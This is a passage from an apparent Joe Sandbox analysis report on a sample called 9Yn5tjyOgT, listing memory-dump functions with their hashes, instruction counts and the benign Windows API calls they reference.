Opcode ID: 2591ff655ad422ca3f28c9e953a73653d936128faed3a223493e599787dc5670
Instruction ID: 8dce29e2ee8162285c2092087480e9dd2d10197a3f8241802da4d8179d55cb6f
Opcode Fuzzy Hash: 2591ff655ad422ca3f28c9e953a73653d936128faed3a223493e599787dc5670
Instruction Fuzzy Hash: C0A18FB5E052288FEB24CF6AC954B9DFBF2AF89300F14C1AAD408A7255DB345A85CF51

Function 36B80F6F Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3432402753.0000000036B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 36B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_36b80000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c843f6009b36c4f935a1e5423c81b108ee38b56a77a421d3363dcee7f45d3d8
Instruction ID: ebee65930e2623d3c23e0df400e959911e48ee55f9116695f0f9c3c9a4a0a054
Opcode Fuzzy Hash: 6c843f6009b36c4f935a1e5423c81b108ee38b56a77a421d3363dcee7f45d3d8
Instruction Fuzzy Hash: FD91FE74D00358CFEB10DFA8C888B9CBBB1FF49315F209269E509AB2A1DB749985CF54

Function 00154328 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f9f651d67a9673d0f4cf11b94d618a1ea17980238ade6af94df02ff5ba11a97
Instruction ID: 787304f0dc0e9a86889ee49cc24a3e89395e7b9cf2dd1c99a0bb8597d171cd35
Opcode Fuzzy Hash: 1f9f651d67a9673d0f4cf11b94d618a1ea17980238ade6af94df02ff5ba11a97
Instruction Fuzzy Hash: 7D91D774E00258CFDB18CFA9D894A9DBBF2BF89305F14C069E819AB365DB349985CF50

Function 3958BA97 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d596799d4f69f66ee677f9919c5ed29f1cb1d503a71b1d1f3fed1e025b4e29e7
Instruction ID: 03d0570dcfbd3b13030532c9da7a80ab0a0a4ad2c44b82987a69fcdfb8c5b586
Opcode Fuzzy Hash: d596799d4f69f66ee677f9919c5ed29f1cb1d503a71b1d1f3fed1e025b4e29e7
Instruction Fuzzy Hash: CE81D574E04249CBEB14DFAAD95069DBBF6BF88311F248129E818BB359DB345982CF50

Function 39588640 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f8f4329dc2014d5b559d2ed803e46cbad5ef03fe31c2b405ac2c3811217b0c8
Instruction ID: 63017c3f53dcb58465e86e9f6f0e02ec14594cf54119f3f5edcbd60ab638ba71
Opcode Fuzzy Hash: 3f8f4329dc2014d5b559d2ed803e46cbad5ef03fe31c2b405ac2c3811217b0c8
Instruction Fuzzy Hash: DE71D375E05268CFDB64DF66C9847DDBBB2BF89300F1090AAD408A7360DB346A86CF40

Function 3958A9A0 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8ac6caf18178e54490203215fc20983b1f2f770a0052ef8d9cb21c47a9b303d
Instruction ID: c94e8f549484f2802c0df20f84c0da3ae204d1cb13e2d65937bb188c85989d65
Opcode Fuzzy Hash: a8ac6caf18178e54490203215fc20983b1f2f770a0052ef8d9cb21c47a9b303d
Instruction Fuzzy Hash: 5E7195B5E016188FEB28CF66C944B9DFAF2AF89300F14C1AAD50DB7255DB345A85CF50

Function 395896B8 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f6aa9ac03a2b27d16cf69de42aca0b5f855cae81d477818d134d1e2e9ebd1dc
Instruction ID: 4c0a78955e9892d1e863f5b6358c4b15c239fde1bc850dc86d9f94fd91c3f73a
Opcode Fuzzy Hash: 7f6aa9ac03a2b27d16cf69de42aca0b5f855cae81d477818d134d1e2e9ebd1dc
Instruction Fuzzy Hash: E871A3B5E00618CFEB68CF66C954B9AFBF2AF88300F14C0AAD40CA7254DB345A85CF50

Function 3958C92F Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e91551b5e10c575f5027e8d0289b404c8630eab9230cbd0fe174c0480ec6f117
Instruction ID: 5431d3b81f7634cfe3941fd500bcf487f56b91b88df1567f20f4199c688fed27
Opcode Fuzzy Hash: e91551b5e10c575f5027e8d0289b404c8630eab9230cbd0fe174c0480ec6f117
Instruction Fuzzy Hash: 6F611874A40299DFEB25DF64C855BADBBB2FB89300F1084AAD90A77355CB355D82DF00

Function 39589D00 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5be2474a23b1b09e2210a7dacb7127d45c5a1f1e69263f5a5b1c6bb306ec226b
Instruction ID: c35519b6d8d3f59fb3e1c5f4f058b208b61d4ae63a1564e8166d7d9b9c92dbc2
Opcode Fuzzy Hash: 5be2474a23b1b09e2210a7dacb7127d45c5a1f1e69263f5a5b1c6bb306ec226b
Instruction Fuzzy Hash: 59417BB1E016188BEB58CF6BC9557C9FBF3AFC9300F14C0AAC50CA6265EB740A858F51

Function 3958A352 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08a9957ef02e00116cee8f284c4647a194eaf679c64779c9eac44059ed3855f9
Instruction ID: 21b7934a276027801b8c372737bfd3c3521d9695fc25ab37ae917582a954e8f4
Opcode Fuzzy Hash: 08a9957ef02e00116cee8f284c4647a194eaf679c64779c9eac44059ed3855f9
Instruction Fuzzy Hash: E6415AB1E016588BEB58CF6BCD457CAFAF3AFC9310F14C1AAD50CA6264DB740A858F51

Function 399D0970 Relevance: 6.1, APIs: 4, Instructions: 132
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 399D09FE
GetCurrentThread.KERNEL32 ref: 399D0A3B
GetCurrentProcess.KERNEL32 ref: 399D0A78
GetCurrentThreadId.KERNEL32 ref: 399D0AD1

Memory Dump Source

Source File: 00000006.00000002.3434097082.00000000399D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 399D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_399d0000_9Yn5tjyOgT.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 7789fac053b08c0f048e09650b97c26b65a464eb95e39fe130d5b419bb76db37
Instruction ID: 1ab7dbe761e0b276529003e9f078005a99890a94fa50aba828792157227054da
Opcode Fuzzy Hash: 7789fac053b08c0f048e09650b97c26b65a464eb95e39fe130d5b419bb76db37
Instruction Fuzzy Hash: 6F5133B0900349DFEB54DFA9C598BDEBBF1EB88300F248459E509A7361D738A941CF66

Function 399D0980 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 399D09FE
GetCurrentThread.KERNEL32 ref: 399D0A3B
GetCurrentProcess.KERNEL32 ref: 399D0A78
GetCurrentThreadId.KERNEL32 ref: 399D0AD1

Memory Dump Source

Source File: 00000006.00000002.3434097082.00000000399D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 399D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_399d0000_9Yn5tjyOgT.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 33274a762f8cd7310fd88d3e60421c05b3837c65474dad9c603d8c76e3cea947
Instruction ID: d218e817b745b71e802b7419e0140b254f91383d8ed6b8cd4141ed40c7d49516
Opcode Fuzzy Hash: 33274a762f8cd7310fd88d3e60421c05b3837c65474dad9c603d8c76e3cea947
Instruction Fuzzy Hash: 515133B0900349CFEB44DFA9C598BDEBBF1EB88300F248459E519A7260D738A941CF66

Function 399D0104 Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 399D0222

Memory Dump Source

Source File: 00000006.00000002.3434097082.00000000399D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 399D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_399d0000_9Yn5tjyOgT.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 5915675b2a5131a9ce6090519b6371b56e043263d697f4903af7622115925fc9
Instruction ID: 4897132ce0b37d9135c8019711e23c0012c93632815db0a75f407a3f035f96a7
Opcode Fuzzy Hash: 5915675b2a5131a9ce6090519b6371b56e043263d697f4903af7622115925fc9
Instruction Fuzzy Hash: DC51C1B1D01349DFDB14CF99C984ADEBBB5FF49310F61812AE918AB210D774A885CF90

Function 399D0110 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 399D0222

Memory Dump Source

Source File: 00000006.00000002.3434097082.00000000399D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 399D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_399d0000_9Yn5tjyOgT.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 6c22e3bc561e66121a244eddf4a14b83904a5ea9efed75de5f732ea721d6ba50
Instruction ID: 6de97873d0c89995d4d29a489b9589065ed1eae00938869f02b3f104739e335f
Opcode Fuzzy Hash: 6c22e3bc561e66121a244eddf4a14b83904a5ea9efed75de5f732ea721d6ba50
Instruction Fuzzy Hash: B841C1B1D00349DFDB14CF99C894ADEBBB5FF49350F61812AE918AB210D774A845CF90

Function 399D1DC0 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 399D1E81

Memory Dump Source

Source File: 00000006.00000002.3434097082.00000000399D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 399D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_399d0000_9Yn5tjyOgT.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: ae9d08a6ae4b44393c39f66ee4b1f1fe5cae2b807990991b5d1e2580d08b6749
Instruction ID: 5093b1f60c3d68444ceb5338bc26c2cd92398a15fc0fdcc4ab5d8b5ef2e3051f
Opcode Fuzzy Hash: ae9d08a6ae4b44393c39f66ee4b1f1fe5cae2b807990991b5d1e2580d08b6749
Instruction Fuzzy Hash: E84103B9A00349DFDB14CF99C884A9BBBF5FF98310F24C459E519AB321D734A841CBA1

Function 399D0BC0 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 399D0C4F

Memory Dump Source

Source File: 00000006.00000002.3434097082.00000000399D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 399D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_399d0000_9Yn5tjyOgT.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 9a42460273145571b0fda16bf9fed61cf8d6411e6acdcc5056ec4a0de29effab
Instruction ID: 492f7bb182d50f8065fe96b98ffa990c52c22a249a381d69e661bc8abcb16274
Opcode Fuzzy Hash: 9a42460273145571b0fda16bf9fed61cf8d6411e6acdcc5056ec4a0de29effab
Instruction Fuzzy Hash: 8821E5B5900249EFDB10CFAAD584ADEBBF8EB48310F14841AE958A7310D378A940CFA5

Function 36B87C2C Relevance: 1.6, APIs: 1, Instructions: 62
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(00000000), ref: 36B87D6E

Memory Dump Source

Source File: 00000006.00000002.3432402753.0000000036B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 36B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_36b80000_9Yn5tjyOgT.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b4da46d525f6b6ddbf1eca43646c7770c203674b3b52b6f15fbd3ce02a584f2d
Instruction ID: 03015172c234d96d553033ba869e544e43e6e92bfcd009e8260b48b88324009a
Opcode Fuzzy Hash: b4da46d525f6b6ddbf1eca43646c7770c203674b3b52b6f15fbd3ce02a584f2d
Instruction Fuzzy Hash: FD1142B4E402699FEB14CFE8D884EEDBBB5FB84319F248165E808A7241D7719D42CF50

Function 399D0BC8 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 399D0C4F

Memory Dump Source

Source File: 00000006.00000002.3434097082.00000000399D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 399D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_399d0000_9Yn5tjyOgT.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 0400893e4dd9168bf6d7ed5d7174899108dadd4fdebbf9cb7eb422a2e775cea1
Instruction ID: 0d8af38272c65d774d6d38cb3673b0e2618f8e3059e80443d678aa162df4ea2c
Opcode Fuzzy Hash: 0400893e4dd9168bf6d7ed5d7174899108dadd4fdebbf9cb7eb422a2e775cea1
Instruction Fuzzy Hash: AF21E6B5900248DFDB10CFAAD584ADEBBF4EF48310F14841AE954A7310D378A940CF65

Function 399D2018 Relevance: 1.5, APIs: 1, Instructions: 47
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetTimer.USER32(?,?,?,?), ref: 399D207D

Memory Dump Source

Source File: 00000006.00000002.3434097082.00000000399D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 399D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_399d0000_9Yn5tjyOgT.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 06bb024b47646d3b33f93384621c0ca246f9d1ec954c708885956d4e1e4cbdd8
Instruction ID: 521b98d2b558861ccb8d6a8f07b4b7b990fd6c64962ccf9567e82da9d97ba22c
Opcode Fuzzy Hash: 06bb024b47646d3b33f93384621c0ca246f9d1ec954c708885956d4e1e4cbdd8
Instruction Fuzzy Hash: 131103B5800349DFDB10CF9AD985BDEBBF8EB48320F108459E958A7210C375A984CFA5

Function 399DC560 Relevance: 1.5, APIs: 1, Instructions: 46
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 399DD445

Memory Dump Source

Source File: 00000006.00000002.3434097082.00000000399D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 399D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_399d0000_9Yn5tjyOgT.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: ea99132ef8e9ac21569318a3b829840f90e803dbb0269bbc6558187f405ee1ed
Instruction ID: 30287c18f63639ddf6df67f3dfa582f1c1a0de302a29c5de65079cc405231976
Opcode Fuzzy Hash: ea99132ef8e9ac21569318a3b829840f90e803dbb0269bbc6558187f405ee1ed
Instruction Fuzzy Hash: 5F1103B5904749CFDB10CFAAC585B9EBBF8EB48320F108459D618A7640C778A944CBA5

Function 399DE700 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,399DD92F), ref: 399DE765

Memory Dump Source

Source File: 00000006.00000002.3434097082.00000000399D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 399D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_399d0000_9Yn5tjyOgT.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: f7d63d4b2d001f2474b236ddd329fa87949f1439e2aba9a5c31dc8df2decabd7
Instruction ID: 9c62028aaac8ae46ac94b52cd7bba8970f4c83741285cbb9080344be67d1bd8e
Opcode Fuzzy Hash: f7d63d4b2d001f2474b236ddd329fa87949f1439e2aba9a5c31dc8df2decabd7
Instruction Fuzzy Hash: D711EDB5D00749CFCB60CFAAD585BDEBBF4EB88314F10846AD458A7210C378A544CFA6

Function 399DC60C Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,399DD92F), ref: 399DE765

Memory Dump Source

Source File: 00000006.00000002.3434097082.00000000399D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 399D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_399d0000_9Yn5tjyOgT.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: b2557d6728aaa339cbaf12c17ab2e94a4a94559d90265a1e24337a503d7d1302
Instruction ID: 217c72fa6754b36cad54460686173f302dd405f01681908ababd68f4e222ce77
Opcode Fuzzy Hash: b2557d6728aaa339cbaf12c17ab2e94a4a94559d90265a1e24337a503d7d1302
Instruction Fuzzy Hash: 7611E0B5C04749DFDB50CF9AD584BDEBBF8EB48314F10845AE918A7210D378A544CFA5

Function 399DD3E8 Relevance: 1.5, APIs: 1, Instructions: 45comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 399DD445

Memory Dump Source

Source File: 00000006.00000002.3434097082.00000000399D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 399D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_399d0000_9Yn5tjyOgT.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: d846a5346a21fa6cce57052a4a2b73cf0565d38db36f6577b4089cb5d44a382f
Instruction ID: 15d0ddffe9b3c3c77a22584facbe9f18b21351ab0721f232e1848f930375b601
Opcode Fuzzy Hash: d846a5346a21fa6cce57052a4a2b73cf0565d38db36f6577b4089cb5d44a382f
Instruction Fuzzy Hash: DC1103B5900348CFDB20CFA9D585BDEBBF4EF88310F20845AD558A7650C378A544CFA5

Function 399D2020 Relevance: 1.5, APIs: 1, Instructions: 44timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 399D207D

Memory Dump Source

Source File: 00000006.00000002.3434097082.00000000399D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 399D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_399d0000_9Yn5tjyOgT.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 2a36ee36655b2bdd3352a8ee8cd55f1f5b535d193fc3a66eac5e714be0a6f62d
Instruction ID: 8302253eaa9a0038450799a9ce1728bcea50881a5fb6c1a51af7b201e0d56c73
Opcode Fuzzy Hash: 2a36ee36655b2bdd3352a8ee8cd55f1f5b535d193fc3a66eac5e714be0a6f62d
Instruction Fuzzy Hash: C911E5B5800349DFDB10CF9AD585BDEFBF8EB48320F108459E958A7210C375A544CFA5

Function 3958CC28 Relevance: 1.4, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

6pS, xrefs: 3958CC32

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID: 6pS
API String ID: 0-3518429112
Opcode ID: f13e1c750fd0a0f1bbe578350f4942bbf30a7bc887e95053bdcf586e992b0761
Instruction ID: 2cfa701ce8bdf1856d7546ec7d7ddfcbd323ed8626a366dec82d2ee07f0c3fd8
Opcode Fuzzy Hash: f13e1c750fd0a0f1bbe578350f4942bbf30a7bc887e95053bdcf586e992b0761
Instruction Fuzzy Hash: 07519275E01258CFDB54DFA9C890ADDBBB2FF89310F20816AD819AB365DB306946CF40

Function 3958BD98 Relevance: 1.3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

Strings

6dV, xrefs: 3958BDA2

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID: 6dV
API String ID: 0-3085830225
Opcode ID: f6d25a7255547c998a926a655bc42e9c78183e3987c20471ae630ddd2ef9cec8
Instruction ID: ce20bd211c259310b6b6454b0ea085779d75c675c1311a17d3e46f0c635da9c3
Opcode Fuzzy Hash: f6d25a7255547c998a926a655bc42e9c78183e3987c20471ae630ddd2ef9cec8
Instruction Fuzzy Hash: 35E04671418E42EFF3211F20ACAC2AA3B70FB0B317B842D59E80E96422C7780040CB01

Function 00157458 Relevance: .7, Instructions: 704COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 460350e00e5ee819dafd7f893ef049997badb40d00c99b26c7c10bb36302f7e8
Instruction ID: 74c1d4d9407b38b4c829c663921aff1adb3c328a33337a1a276649347b58186a
Opcode Fuzzy Hash: 460350e00e5ee819dafd7f893ef049997badb40d00c99b26c7c10bb36302f7e8
Instruction Fuzzy Hash: 7852FD34A00218CFEF24DBA4C861BAEBB76EF89301F1080A9D51A7B395DB355E85DF51

Function 001519B8 Relevance: .7, Instructions: 685COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0aa4abebaa05fca4746b120239f0798a9e2718cdb8715156f7edfc635f4caa4e
Instruction ID: 71dfe5461b07c59308ddb76c233743e0afe9405f736d3c7050f420b3b602803d
Opcode Fuzzy Hash: 0aa4abebaa05fca4746b120239f0798a9e2718cdb8715156f7edfc635f4caa4e
Instruction Fuzzy Hash: AE42DAA7E1D3E18FC7124B705CB82597FB17B22206BDE459EC8C297287EBA54445C352

Function 001566B8 Relevance: .5, Instructions: 456COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42c8e109682daa926ed825571bb0eca286a9425e37076cec6c6f71f26509793f
Instruction ID: a291cdb4c796cea984dfe76dab9e8ecd89ef5d28c6960b80682f60de98a84872
Opcode Fuzzy Hash: 42c8e109682daa926ed825571bb0eca286a9425e37076cec6c6f71f26509793f
Instruction Fuzzy Hash: DC127930A00209DFCB14CF69D894AAEBBF2FF48315F548569E869DB261DB30ED45CB90

Function 00154F00 Relevance: .3, Instructions: 329COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8f5909087953178846ccc76eb20afca959ee21c167e31f0611527de94889eca
Instruction ID: 1d37fd81cb9c2813a8348a0e43802a17ffa409889f02312c9a320c2b8c16958d
Opcode Fuzzy Hash: a8f5909087953178846ccc76eb20afca959ee21c167e31f0611527de94889eca
Instruction Fuzzy Hash: 92B1AE30304610CFDB159F39C864B6E7BF2AF89316F15856AE816CF2A5DB748C89CB91

Function 3958C175 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb3d409a4b8be63e9be364a312ea2b910fbe962d95edccec2a40cdabc468bfff
Instruction ID: 38b3e56225f06420346fedfcffbe322dd2a9b0d2495f43eac7d7a09ea5973de7
Opcode Fuzzy Hash: fb3d409a4b8be63e9be364a312ea2b910fbe962d95edccec2a40cdabc468bfff
Instruction Fuzzy Hash: AEE1E374A44258DFDB25DF60C855BADBBB2FB89301F1084AAD909B7391CB355E82CF50

Function 3958C173 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1e03179ae69f31430df7d8445ea5aed7ec796c134f27209c546241a1200a497
Instruction ID: 63593c31b29230446a2941b1450f07b18d85dfed0e069eb34cc1f18dd1a296b0
Opcode Fuzzy Hash: b1e03179ae69f31430df7d8445ea5aed7ec796c134f27209c546241a1200a497
Instruction Fuzzy Hash: C9E1F474A40258DFDB25DF60C855BADBBB2FB89301F1084AAD909B7391CB355E82CF50

Function 00155460 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e2942ab13d23362148fb48b9f3dc0dd4f55184fefe99fe8d03f7c1b9478995e
Instruction ID: c00a51053cf0b8a2759dd219e8f20ad59eff36785d899ddc2426010fe0329be1
Opcode Fuzzy Hash: 3e2942ab13d23362148fb48b9f3dc0dd4f55184fefe99fe8d03f7c1b9478995e
Instruction Fuzzy Hash: 0C81A030B00945CFCB18CF69C8A49AAB7B3BF88316B658069D825DF365E731EC45CB50

Function 00150B29 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c885cfd0ba82449f22248f24947a5f07a24c60598a0feabac5453751cef55e3
Instruction ID: e2cda2f3eb72914a21fb185af2790944f5dcfcdde4e365048c4e69ded16cf511
Opcode Fuzzy Hash: 8c885cfd0ba82449f22248f24947a5f07a24c60598a0feabac5453751cef55e3
Instruction Fuzzy Hash: 59A1FD74A4064ADFCF04DFB8E895A9D7BB1FB89301B104629E505BB365EB346D4ACF80

Function 00156C98 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

